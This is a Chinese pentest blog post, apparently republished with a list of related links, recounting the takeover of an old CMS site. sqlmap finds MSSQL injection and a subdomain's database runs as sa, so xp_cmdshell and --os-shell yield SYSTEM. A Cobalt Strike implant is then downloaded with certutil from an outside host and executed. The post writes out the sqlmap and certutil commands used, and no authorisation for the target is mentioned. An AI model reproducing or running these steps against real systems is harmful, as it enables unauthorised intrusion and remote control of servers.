一次简单又复杂的shell

简介: 简单又复杂的shell

640.png

从同事那拿到站点比较老旧的,到处都是注入点

       直接放入sqlmap里跑

640.png

       跑出注入后,看见是mssql,这里使用参数:--current-user,发现并不是sa权限。

       同事然后跑出后台账号密码后,找半天找不到后台。

       在这个站上找不到后台,随即放弃,然后通过子域名上,找到了一个同样的cms,也是到处都是注入到,同样的配方同样味道,还是找不到后台。

       再次丢入sqlmap发现是同一个数据库,只是两个站点在不同的库而已,就在快放弃的时候,同样执行了--current-user发现是sa权限,不同的站点居然数据库的权限不一样,这些有的搞了。

       既然找不到后台那就直接通过mssqlxp_cmdshell来写shell

       首先通过—os-cmd=whoami

640.png

       返回的是system权限

       然后再用—os-shell来实现交互式的shell,再通过powershell来上线cs

首先执行了一下dnslog判断一下目标机器出不出外网

640.png

       发现主机可以出外网,这时候就可以通过powershell进行上线啦,

但是执行的时候却命令后缺发现,跟我执行的命令不相同,仿佛再在列出进程的名字。

       而且不跑完执行不了我的命令,问了下同事有没有相同的状况,他说他执行了netstat,然后我们换了几个ip发现无论执行什么都要先把上次的命令执行结果回显完,才可以继续执行下一个命令。

       目标主机进程较多,跑是速度又慢,在等了将近4个小时之后终于跑完了。

然后进行poweshell的上线语句:

640.png

       发现有格式上的错误,经过了一下排错,怀疑可能是单引号跟双引号的符号问题。

       所以打算使用下载恶意exe并执行的形式来获取shell。

使用windos自带的证书下载的命令来绕过下载文件

certutil -urlcache -split -f https://xxxxxx cs.exe

下载完后,并执行,这时候nt同事说了一句看下有没有下载成功,随即执行了dir命令

       然后发现执行的目录在C:\Windows\System32,底下有9000+个文件,上面说了执行命令后必须回显完成才可以执行下一个命令,心中一万只草泥马奔腾而过。

       这里使用了服务器并且加上了sqlmap的免确认参数:--batch命令以及后台执行命令:nohup进行跑


nohup python sqlmap -r /root/1.txt --batch–os-shell=whoami &

最终在服务器上跑了28个小时才完成了全部回显。。。。。

在上面看到了我们上传的cs的马,随即进行执行

       成功上线,system权限

640.png


相关文章
|
安全 Shell 网络安全
|
Shell
SHELL练习
1.你需要打印一个给定的数字的反序,如输入10572,输出27501,如果没有输入数据,应该抛出错误和使用脚本说明。
69 0
|
Shell Linux 数据处理
我们一起来学Shell - 初识shell 2
我们一起来学Shell - 初识shell
82 0
|
存储 机器学习/深度学习 搜索推荐
shell小结
Shell小小总结,曾经的爱,一路相伴。
shell小结
|
网络协议 Shell Perl
shell 常用
./sss xxx $1 $2 $# $0 $? tail -1 head -1 awk '{ if ($1=="FIND") print $2 }' 如何调试bash脚本 #!/bin/bash -xv function aa(){ echo "xx" } let $a=$b+$c $a=(($b+$c)) if[ -f /xx/xx ] then xxx fi for i in $(ls) do ccc done head -10 xx|tail -1 命令“export” 有什么用 ? 使变量在子shell 中可用。
982 0
|
Shell 数据安全/隐私保护 网络安全